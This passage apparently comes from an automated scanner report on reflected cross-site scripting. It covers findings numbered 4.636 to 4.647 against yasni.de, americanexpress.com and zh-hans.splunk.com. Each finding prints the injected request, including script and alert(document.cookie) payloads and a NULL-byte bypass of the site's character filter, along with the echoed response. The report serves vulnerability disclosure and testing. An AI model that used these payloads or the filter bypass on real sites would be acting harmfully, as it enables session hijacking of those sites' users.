The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46fac"><script>alert(1)</script>e05d79885fa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?46fac"><script>alert(1)</script>e05d79885fa=1 HTTP/1.1
Host: www.yasni.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:28 GMT
Server: Apache/2.2.14 (Ubuntu)
Set-Cookie: PHPSESSID=rbr2upvqs13oaecooaeo0600566pjhk6; expires=Sun, 06-Feb-2011 16:40:28 GMT; path=/; HttpOnly
X-hostname: bl09.yasni.de
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 36065

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"
...[SNIP]...
<a href="http://www.yasni.com/?46fac"><script>alert(1)</script>e05d79885fa=1" id="region_selector_1">
...[SNIP]...

4.636. http://www201.americanexpress.com/business-credit-cards/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 51791"%3balert(1)//2c5fab680ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 51791";alert(1)//2c5fab680ef in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /business-credit-cards/?51791"%3balert(1)//2c5fab680ef=1 HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:00 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944520407326; path=/; expires=Tue, 09-Feb-16 22:22:00 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000JKeD2XwAl0ekRSk6HLsy4dv:1115nbtvb;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:22:00 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 71726

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>OPEN from Amer
...[SNIP]...
<script type="text/javascript">
var aj_queryString = "51791";alert(1)//2c5fab680ef=1";
</script>
...[SNIP]...

4.637. http://www201.americanexpress.com/business-credit-cards/business-credit-cards [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-credit-cards

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00d3c5c"><script>alert(1)</script>9d3d18fb0de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d3c5c"><script>alert(1)</script>9d3d18fb0de in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /business-credit-cards/business-credit-cards?%00d3c5c"><script>alert(1)</script>9d3d18fb0de=1 HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:09 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944529330022; path=/; expires=Tue, 09-Feb-16 22:22:09 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=00005Ea4tba-zLPfDCRnTlyVeiS:1115nbqmn;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:22:09 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 68691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<
...[SNIP]...
<link rel="canonical" href="http://www201.americanexpress.com/42002?.d3c5c"><script>alert(1)</script>9d3d18fb0de=1" />
...[SNIP]...

4.638. http://www201.americanexpress.com/business-credit-cards/business-credit-cards [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-credit-cards

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5066f"%3balert(1)//690f9898938 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5066f";alert(1)//690f9898938 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /business-credit-cards/business-credit-cards?5066f"%3balert(1)//690f9898938=1 HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944531319209; path=/; expires=Tue, 09-Feb-16 22:22:11 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=00002O8BtVSYdjo4emR0jgrEyx5:1115nbtvb;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:22:11 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 68611

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

    <head>
<
...[SNIP]...
<script type="text/javascript">
       var aj_queryString = "5066f";alert(1)//690f9898938=1";
   </script>
...[SNIP]...

4.639. http://www201.americanexpress.com/business-credit-cards/business-credit-cards [source parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-credit-cards

Issue detail

The value of the source request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11129"%3balert(1)//b90a4cedfda was submitted in the source parameter. This input was echoed as 11129";alert(1)//b90a4cedfda in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /business-credit-cards/business-credit-cards?source=footer_small_business_credit_cards11129"%3balert(1)//b90a4cedfda HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:22 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944542794606; path=/; expires=Tue, 09-Feb-16 22:22:22 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000NLD69dmocUY5UoXzON9e1yY:1115nbtvb;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:22:22 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 68806

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

    <head>
<
...[SNIP]...
<script type="text/javascript">
       var aj_queryString = "source=footer_small_business_credit_cards11129";alert(1)//b90a4cedfda";
   </script>
...[SNIP]...

4.640. http://www201.americanexpress.com/business-credit-cards/business-credit-cards [source parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-credit-cards

Issue detail

The value of the source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0076500"><script>alert(1)</script>a5c89817fba was submitted in the source parameter. This input was echoed as 76500"><script>alert(1)</script>a5c89817fba in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /business-credit-cards/business-credit-cards?source=footer_small_business_credit_cards%0076500"><script>alert(1)</script>a5c89817fba HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:20 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944540206870; path=/; expires=Tue, 09-Feb-16 22:22:20 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000i5CO6cJuwaKA6ochnFot81b:1115nbqmn;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:22:20 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 68886

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<
...[SNIP]...
<link rel="canonical" href="http://www201.americanexpress.com/42002?source=footer_small_business_credit_cards.76500"><script>alert(1)</script>a5c89817fba" />
...[SNIP]...

4.641. http://www201.americanexpress.com/getthecard/home [sj_tabToOpen parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/getthecard/home

Issue detail

The value of the sj_tabToOpen request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 39d09%3balert(1)//115a6676ff2 was submitted in the sj_tabToOpen parameter. This input was echoed as 39d09;alert(1)//115a6676ff2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /getthecard/home?sj_tabToOpen=139d09%3balert(1)//115a6676ff2&inav=menu_cards_pc_choosecard HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:37 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944497780574; path=/; expires=Tue, 09-Feb-16 22:21:37 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=00004_Nr3XAINdJiQ4686YkMRWA:10ue6mp18;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 48599

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="htt
...[SNIP]...
<script type="text/javascript">
var sj_responseText="";
var sj_rsvpStatus="";
var sj_offerURL="";
var sj_rsvpAttempts= 0;
var sj_pageContext="Prospect";
var sj_tabToOpen = 139d09;alert(1)//115a6676ff2;
var sj_modalToOpen = "null";
var sj_servername = "www201.americanexpress.com";
</script>
...[SNIP]...

4.642. http://zh-hans.splunk.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a66ee--><script>alert(1)</script>025dd4411ca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /?a66ee--><script>alert(1)</script>025dd4411ca=1 HTTP/1.1
Host: zh-hans.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:35 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296944675112258; path=/; expires=Sun, 01-Feb-26 22:24:35 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=g00nukagobcjfoskvk5lab5gn5; expires=Wed, 06 Feb 2036 04:24:35 GMT; path=/; domain=.splunk.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37240

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
<script>alert(1)</script>025dd4411ca=1 -->
...[SNIP]...

4.643. http://zh-hans.splunk.com/cave/narc.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/cave/narc.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 9c7aa--><script>alert(1)</script>a53113444e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cave9c7aa--><script>alert(1)</script>a53113444e1/narc.php?u=/?a66ee--alert(document.cookie)025dd4411ca=1&r=-&a=&cid= HTTP/1.1
Host: zh-hans.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hans.splunk.com/?a66ee--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E025dd4411ca=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296947359; Apache=173.193.214.243.1296947376244858; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; Enabled=true

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:10:44 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:40:44 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:40:44 GMT; path=/
ETag: a2913902b26966f8bdd552467b4464b01296947444-gzip
Last-Modified: Sat, 05 Feb 2011 23:10:44 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15067

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a53113444e1/narc.php?u=/?a66ee--alert(document.cookie)025dd4411ca=1&r=-&a=&cid= -->
...[SNIP]...

4.644. http://zh-hans.splunk.com/cave/narc.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/cave/narc.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 84a20--><script>alert(1)</script>2a86be04e00 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cave/narc.php84a20--><script>alert(1)</script>2a86be04e00?u=/?a66ee--alert(document.cookie)025dd4411ca=1&r=-&a=&cid= HTTP/1.1
Host: zh-hans.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hans.splunk.com/?a66ee--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E025dd4411ca=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296947359; Apache=173.193.214.243.1296947376244858; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; Enabled=true

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:11:05 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:41:05 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:41:05 GMT; path=/
ETag: 755b166d9b382c0cfb56c6e63d9415ef1296947465-gzip
Last-Modified: Sat, 05 Feb 2011 23:11:05 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15067

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2a86be04e00?u=/?a66ee--alert(document.cookie)025dd4411ca=1&r=-&a=&cid= -->
...[SNIP]...

4.645. http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 46954--><script>alert(1)</script>05131f54977 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes46954--><script>alert(1)</script>05131f54977/splunk_com/css/v5.php?v=09-28-10 HTTP/1.1
Host: zh-hans.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hans.splunk.com/?a66ee--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E025dd4411ca=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296947359; Apache=173.193.214.243.1296947376244858; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:11:12 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:41:12 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:41:12 GMT; path=/
ETag: f9ccd220f6115d501858ca956e266ddb1296947472-gzip
Last-Modified: Sat, 05 Feb 2011 23:11:12 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14977

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>05131f54977/splunk_com/css/v5.php?v=09-28-10 -->
...[SNIP]...

4.646. http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload d75ee--><script>alert(1)</script>e4c16a81498 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_comd75ee--><script>alert(1)</script>e4c16a81498/css/v5.php?v=09-28-10 HTTP/1.1
Host: zh-hans.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hans.splunk.com/?a66ee--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E025dd4411ca=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296947359; Apache=173.193.214.243.1296947376244858; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:11:32 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:41:32 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:41:32 GMT; path=/
ETag: 9ee7e2c4eb69ad1129f1c8b3831658891296947492-gzip
Last-Modified: Sat, 05 Feb 2011 23:11:32 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14977

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e4c16a81498/css/v5.php?v=09-28-10 -->
...[SNIP]...

4.647. http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 7e755--><script>alert(1)</script>b7071ccc3b1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/css7e755--><script>alert(1)</script>b7071ccc3b1/v5.php?v=09-28-10 HTTP/1.1
Host: zh-hans.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hans.splunk.com/?a66ee--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E025dd4411ca=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
